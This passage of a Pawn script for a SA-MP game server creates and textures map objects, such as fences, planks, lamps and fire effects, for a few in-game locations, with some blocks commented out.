	CreateDynamicObject(708, 1405.79956, -794.44214, 81.76730,   0.00000, 0.00000, 0.00000,1000.00);
	CreateDynamicObject(708, 1382.73169, -800.44269, 78.54830,   0.00000, 0.00000, 0.00000,1000.00);
	CreateDynamicObject(708, 1471.35767, -803.43378, 77.32730,   0.00000, 0.00000, 0.00000,1000.00);

	CreateDynamicObject(640, 1402.68091, -814.05530, 75.33520,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(640, 1393.57886, -814.05530, 75.33520,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(640, 1460.28992, -814.05530, 75.33520,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(640, 1451.85388, -814.05530, 75.33520,   0.00000, 0.00000, 90.00000);

	CreateDynamicObject(16132, 1419.92017, -804.75421, 71.5690,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(16132, 1430.59924, -804.75421, 71.5690,   0.00000, 0.00000, 90.00000);


	new UGSIGNVWPOD[20];
	UGSIGNVWPOD[0] = CreateDynamicObject(18981, 1438.15344, -802.16431, 74.16960,   0.00000, 90.00000, 0.00000);
	UGSIGNVWPOD[1] = CreateDynamicObject(18981, 1413.15247, -802.16632, 74.17160,   0.00000, 90.00000, 0.00000);
	UGSIGNVWPOD[2] = CreateDynamicObject(18981, 1451.32336, -802.16632, 74.17160,   0.00000, 90.00000, 0.00000);
	UGSIGNVWPOD[3] = CreateDynamicObject(18656, 1394.45715, -811.51642, 73.94200,   123.18460, 0.00000, 90.00000,1000.00);
	UGSIGNVWPOD[4] = CreateDynamicObject(18981, 1402.95251, -802.16431, 74.16960,   0.00000, 90.00000, 0.00000);
	UGSIGNVWPOD[5] = CreateDynamicObject(18658, 1461.25696, -811.51642, 73.94200,   123.18460, 0.00000, -90.00000,1000.00);

	UGSIGNVWPOD[6] = CreateDynamicObject(18981, 1451.06335, -813.73230, 62.00360,   0.00000, 0.00000, 90.00000,1000.00);
	UGSIGNVWPOD[7] = CreateDynamicObject(18981, 1426.36340, -813.73230, 62.00360,   0.00000, 0.00000, 90.00000,1000.00);
	UGSIGNVWPOD[8] = CreateDynamicObject(18981, 1403.00549, -813.73230, 62.00360,   0.00000, 0.00000, 90.00000,1000.00);
	UGSIGNVWPOD[9] = CreateDynamicObject(18981, 1390.99646, -801.71832, 61.64160,   0.00000, 0.00000, 0.00000,1000.00);
	UGSIGNVWPOD[10] = CreateDynamicObject(18981, 1463.06445, -801.60828, 62.00360,   0.00000, 0.00000, 0.00000,1000.00);
	SetDynamicObjectMaterial(UGSIGNVWPOD[0],0, 6300, "pierb_law2", "pierplanks_128",0xFF663300);
	SetDynamicObjectMaterial(UGSIGNVWPOD[1],0, 6300, "pierb_law2", "pierplanks_128",0xFF663300);
	SetDynamicObjectMaterial(UGSIGNVWPOD[2],0, 6300, "pierb_law2", "pierplanks_128",0xFF663300);
	SetDynamicObjectMaterial(UGSIGNVWPOD[4],0, 6300, "pierb_law2", "pierplanks_128",0xFF663300);

	SetDynamicObjectMaterial(UGSIGNVWPOD[6],  0, 5870, "sunst18_lawn", "laspowrec2");
	SetDynamicObjectMaterial(UGSIGNVWPOD[7],  0, 5870, "sunst18_lawn", "laspowrec2");
	SetDynamicObjectMaterial(UGSIGNVWPOD[8],  0, 5870, "sunst18_lawn", "laspowrec2");
	SetDynamicObjectMaterial(UGSIGNVWPOD[9],  0, 5870, "sunst18_lawn", "laspowrec2");
	SetDynamicObjectMaterial(UGSIGNVWPOD[10],  0, 5870, "sunst18_lawn", "laspowrec2");


	CreateDynamicObject(2600, 1446.77136, -814.33441, 75.40750,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2600, 1439.55652, -814.33441, 75.40750,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2600, 1432.23035, -814.33441, 75.40750,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2600, 1424.57129, -814.33441, 75.40750,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2600, 1416.69031, -814.33441, 75.40750,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2600, 1408.14331, -814.33441, 75.40750,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1445.33398, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1440.89404, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1438.34094, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1433.12402, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1431.23706, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1425.57605, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1423.68896, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1417.69495, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1415.58606, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1409.03699, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19279, 1407.03894, -814.22058, 74.66740,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1368, 1443.02637, -813.25201, 75.33450,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1368, 1435.70044, -813.25201, 75.33450,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1368, 1428.15234, -813.25201, 75.33450,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1368, 1420.38245, -813.25201, 75.33450,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1368, 1412.16846, -813.25201, 75.33450,   0.00000, 0.00000, 0.00000);

	new UGSIGNVWOGRADA[20];
	UGSIGNVWOGRADA[0] = CreateDynamicObject(970,1392.6646700,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[1] = CreateDynamicObject(970,1396.8227500,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[2] = CreateDynamicObject(970,1400.9146700,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[3] = CreateDynamicObject(970,1405.0727500,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[4] = CreateDynamicObject(970,1409.2307100,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[5] = CreateDynamicObject(970,1413.3886700,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[6] = CreateDynamicObject(970,1417.5467500,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[7] = CreateDynamicObject(970,1421.7047100,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[8] = CreateDynamicObject(970,1425.8626700,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[9] = CreateDynamicObject(970,1430.0207500,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[10] = CreateDynamicObject(970,1434.1787100,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[11] = CreateDynamicObject(970,1438.3366700,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[12] = CreateDynamicObject(970,1442.4947500,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[13] = CreateDynamicObject(970,1446.6527100,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[14] = CreateDynamicObject(970,1450.8106700,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[15] = CreateDynamicObject(970,1454.9687500,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[16] = CreateDynamicObject(970,1459.0606700,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[17] = CreateDynamicObject(970,1461.1727300,-814.5911900,75.1965000,0.0000000,0.0000000,0.0000000); //
	UGSIGNVWOGRADA[18] = CreateDynamicObject(970,1463.2846700,-812.4791900,75.1965000,0.0000000,0.0000000,90.0000000); //
	UGSIGNVWOGRADA[19] = CreateDynamicObject(970,1390.5666500,-812.4791900,75.1965000,0.0000000,0.0000000,90.0000000); //

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[0],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[0],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[1],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[1],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[2],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[2],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[3],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[3],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[4],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[4],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[5],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[5],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[6],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[6],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[7],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[7],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[8],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[8],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[9],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[9],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[10],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[10],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[11],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[11],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[12],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[12],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[13],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[13],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[14],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[14],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[15],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[15],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[16],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[16],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[17],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[17],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[18],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[18],1, 16150, "ufo_bar", "sa_wood08_128");

	SetDynamicObjectMaterial(UGSIGNVWOGRADA[19],0, 19325, "lsmall_shops", "lsmall_window01");
	SetDynamicObjectMaterial(UGSIGNVWOGRADA[19],1, 16150, "ufo_bar", "sa_wood08_128");
*/
//___________________________EBD House PHPMyAdmin_____________________________//



	/*CreateDynamicObject(11111, -6454.60547, -1434.40771, 901.45880,   0.00000, 0.00000, 3.18000);
	CreateDynamicObject(11111, -6458.03369, -1374.77087, 901.45880,   0.00000, 0.00000, 3.18000);
	CreateDynamicObject(11111, -6461.28076, -1315.68274, 901.45880,   0.00000, 0.00000, 3.18000);
	CreateDynamicObject(18981, -6451.84033, -1298.14136, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6450.81885, -1322.68872, 912.24255,   0.00000, 0.00000, -177.95996);
	CreateDynamicObject(18981, -6449.72559, -1347.31616, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6448.54199, -1371.43652, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6447.35498, -1396.01074, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6446.17871, -1420.47632, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6445.04590, -1444.98572, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6443.96680, -1469.48352, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6461.82568, -1468.95642, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6463.03320, -1444.97681, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6464.28418, -1420.34045, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6465.58447, -1395.90076, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6466.89502, -1371.71497, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6468.14844, -1347.07581, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6469.46191, -1322.40674, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6470.64258, -1298.05969, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6462.89160, -1277.13989, 901.10651,   0.00000, -90.00000, 4.00000);
	CreateDynamicObject(18981, -6471.54004, -1276.42480, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6452.80957, -1276.26709, 912.24255,   0.00000, 0.00000, -177.17999);
	CreateDynamicObject(18981, -6462.89795, -1265.74231, 912.24255,   0.00000, 0.00000, -266.94000);
	CreateDynamicObject(3092, -6452.33154, -1285.48718, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6452.66016, -1279.03210, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6453.12402, -1271.89026, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6452.22852, -1291.70850, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6451.81543, -1298.52856, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6451.47412, -1311.62573, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6450.77246, -1327.68652, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6449.80225, -1348.51086, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6449.20264, -1359.08557, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6448.22754, -1380.07959, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6446.89111, -1409.19275, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6446.30859, -1420.23853, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6445.51367, -1437.90283, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6444.71143, -1456.34460, 925.49738,   0.00000, 0.00000, 80.15999);
	CreateDynamicObject(3092, -6453.79248, -1470.81970, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6454.16357, -1477.02209, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6447.31445, -1474.87231, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6451.71533, -1474.68860, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6457.49365, -1475.27649, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6459.41846, -1469.88464, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6453.49951, -1468.06189, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6449.78174, -1468.66272, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6447.78662, -1471.45459, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6448.29297, -1479.33789, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6452.75586, -1484.07776, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18981, -6449.82568, -1480.22864, 912.24255,   0.00000, 0.00000, -266.75983);
	CreateDynamicObject(3092, -6447.36035, -1439.07764, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6462.35596, -1429.69104, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6449.56299, -1411.44873, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3012, -6456.71191, -1291.89990, 900.99561,   0.00000, 0.00000, 40.43999);
	CreateDynamicObject(3012, -6458.61230, -1316.35803, 900.99561,   0.00000, 0.00000, 40.43999);
	CreateDynamicObject(3012, -6465.33691, -1354.95557, 901.05725,   0.00000, 0.00000, -27.90001);
	CreateDynamicObject(3008, -6459.80225, -1292.91040, 901.27563,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3008, -6455.41699, -1317.22620, 902.23480,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3007, -6456.47852, -1303.10400, 901.62109,   18.00000, -25.14000, 0.00000);
	CreateDynamicObject(3007, -6465.84326, -1326.59619, 901.65576,   -67.56001, -0.72000, 0.00000);
	CreateDynamicObject(3007, -6458.44580, -1342.18958, 901.65576,   -67.56001, -0.72000, 0.00000);
	CreateDynamicObject(3007, -6464.16309, -1380.76379, 901.65576,   -28.38000, -89.94001, 0.00000);
	CreateDynamicObject(3012, -6453.34814, -1379.08569, 901.05725,   0.00000, 0.00000, 48.89999);
	CreateDynamicObject(3008, -6454.98242, -1348.70935, 901.27563,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3008, -6467.13330, -1358.95093, 902.16034,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6467.45215, -1324.90479, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6464.43311, -1372.73608, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6451.74854, -1371.68628, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6453.56055, -1324.39734, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6454.76563, -1299.50281, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6468.65967, -1293.90210, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6463.32617, -1397.93787, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6461.51074, -1434.25549, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6450.94727, -1398.83215, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6448.04736, -1440.18298, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6448.04736, -1440.18298, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6458.37891, -1399.27490, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6455.87158, -1361.80005, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6462.36182, -1316.58704, 901.96460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6464.36768, -1286.30701, 901.59290,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6461.79492, -1300.59460, 901.36383,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6462.50342, -1351.02478, 901.33624,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6464.70459, -1318.22961, 901.35394,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6454.27930, -1313.69165, 901.50696,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6458.12695, -1285.96326, 901.59369,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6459.67725, -1365.04565, 901.36902,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6451.83984, -1369.20239, 901.51526,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6463.85254, -1369.90662, 901.51636,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6457.81250, -1380.17444, 901.36163,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6455.73389, -1410.00952, 901.34241,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6450.57031, -1409.58191, 901.52844,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6450.27734, -1431.93335, 901.36566,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6459.17822, -1437.81995, 901.36176,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6458.00781, -1415.87439, 901.37604,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6453.33984, -1468.02930, 902.49670,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6449.87451, -1468.59021, 902.29840,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6453.64844, -1470.73694, 902.24713,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6459.34424, -1469.77527, 902.23688,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6457.35596, -1475.19568, 902.17322,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6454.11865, -1476.89343, 902.15021,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6451.59326, -1474.57959, 902.17877,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6447.44287, -1474.78870, 902.13568,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6448.27197, -1479.20544, 901.98352,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6447.77246, -1471.32349, 902.17108,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6447.29248, -1439.31262, 902.04706,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6462.37354, -1429.85303, 902.28082,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6449.49268, -1411.61011, 902.43115,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6453.18164, -1379.48950, 901.72723,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6464.40137, -1381.06689, 901.60950,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6466.82910, -1359.22607, 902.27899,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6465.63184, -1355.38696, 901.71277,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6466.75195, -1359.18005, 902.34479,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6454.82910, -1349.08862, 901.47089,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6458.45605, -1342.10022, 901.90973,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6458.42334, -1316.86047, 901.58929,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6455.05762, -1317.48120, 902.43121,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6456.71533, -1303.59729, 901.82373,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6459.65479, -1292.10986, 901.36713,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6456.55957, -1292.40674, 901.60999,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6453.24268, -1272.00854, 925.58215,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6452.80273, -1279.12183, 925.72168,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6452.46436, -1285.58240, 925.42633,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6452.30957, -1291.74878, 926.13599,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6451.90918, -1298.36829, 925.83020,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6451.62158, -1311.58594, 925.53040,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6450.83252, -1327.50696, 925.63824,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6449.82959, -1348.34253, 925.80511,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -4750.37451, -3872.33154, -2.07714,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6448.11963, -1379.86108, 925.80096,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6446.81592, -1408.99426, 925.17792,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6446.39502, -1420.11768, 925.79767,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6445.46533, -1437.67920, 925.93420,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19270, -6444.56396, -1456.20630, 925.56555,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6470.28174, -1295.07910, 904.04163,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6468.36133, -1334.08325, 906.37109,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.47559, -1295.32166, 905.29553,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.73096, -1290.16638, 903.62659,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6451.13379, -1327.57483, 904.19342,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6449.96631, -1352.09753, 911.84241,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.44434, -1382.67871, 905.98712,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6446.04834, -1433.20532, 906.49561,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6466.42188, -1370.43384, 904.56641,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6464.81299, -1400.26221, 905.62781,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6465.50391, -1386.46228, 911.44757,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6464.12109, -1412.25049, 905.21838,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6463.66357, -1421.37683, 912.89026,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6467.37549, -1352.11890, 906.89673,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6445.68311, -1441.61694, 907.32013,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6446.48633, -1424.05127, 908.08545,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6463.15576, -1432.46631, 908.33313,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6462.20068, -1297.60315, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6456.46436, -1292.34900, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6459.39307, -1293.08862, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6456.75684, -1303.24646, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6458.47412, -1316.63391, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6455.07129, -1317.40747, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6465.89990, -1326.29236, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6458.67041, -1341.80396, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.75293, -1348.98547, 899.00000,   0.00000, 0.00000, 0.00000);
